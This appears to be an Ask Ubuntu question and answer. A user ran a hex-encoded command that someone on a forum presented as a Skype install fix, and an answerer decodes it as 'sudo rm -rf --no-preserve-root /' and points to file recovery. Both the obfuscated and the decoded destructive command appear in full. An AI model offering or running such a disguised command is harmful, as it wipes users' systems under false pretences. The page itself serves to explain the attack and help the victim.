0

I have been 'pranked' by someone on a forum. I had a hard time installing Skype on Ubuntu and he said I needed to run this code:

$(echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p -) &>2

I ran it, my laptop froze and I can't start it anymore. Please help! It's my only laptop and I desperately need it for school.

Ravan
  • 9,379
  • 1
    This is a very nasty prank indeed. I can't imagine anyone really experiencing any joy out of this. – Jos Sep 13 '15 at 10:18

1 Answers1

2

Running echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p - outputs this:

sudo rm -rf --no-preserve-root /

Running $(echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p -) &>2 the command substitution $([...]) is replaced with with the output of the command echo [...] | xxd [...] (which converts the obfuscated / Hex-encoded string back to plain text) and the the substitution along with the remainder of the command is executed.

So the command actually run was sudo rm -rf --no-preserve-root / &>2.

I'm very sorry, but you're installation is gone.

If you need to recover some files, I suggest you to boot Ubuntu from a Live DVD and to use testdisk to recover them (being the machine unbootable you should be able to recover everything, since nothing should have been overwritten).

See here for instructions on how to use testdisk, and here for other recovery options.

kos
  • 35,891
  • Thanks for your quick response! So is I understand everything correctly, my boot directory is gone and I cannot boot but my files are intact? Also, I was running a dualboot with Windows 10, what has happened to that? – user2092743 Sep 13 '15 at 09:34
  • @user2092743 No, your entire Ubuntu installation was wiped out - any files you could have accessed at the time you ran that command have been deleted. if you had the Windows partition mounted, that's gone too. If not, you might be able to use a Windows setup disk to repair the Windows boot loader. – muru Sep 13 '15 at 09:38
  • Oh okay than. I will never trust anyone on forums other than this any longer. Thanks for your respons... problem is that I do not have my installation disk of windows, bought my laptop from the university and they would not give me the installation disk "for protection". Damn it. – user2092743 Sep 13 '15 at 09:43
  • Oh allright and what about my Windows partition? – user2092743 Sep 13 '15 at 09:46
  • Problem is, files without metadata can be rather useless, especially if the metadata includes the filename... – elaforma Sep 13 '15 at 09:52
  • I'm sorry, I'm kind of new to the whole Linux world, what do you mean with 'mounted'? – user2092743 Sep 13 '15 at 09:55
  • @user2092743 Did you manage to reinstall Windows 10? However can you delete your old comments like I did? They're not useful to anyone else reading the post, they just clutter it – kos Sep 14 '15 at 08:31
  • Done, I resolved this problem by completely removing all data on my hard drive and reinstalling everything. A long process but the only option.. – user2092743 Sep 17 '15 at 18:27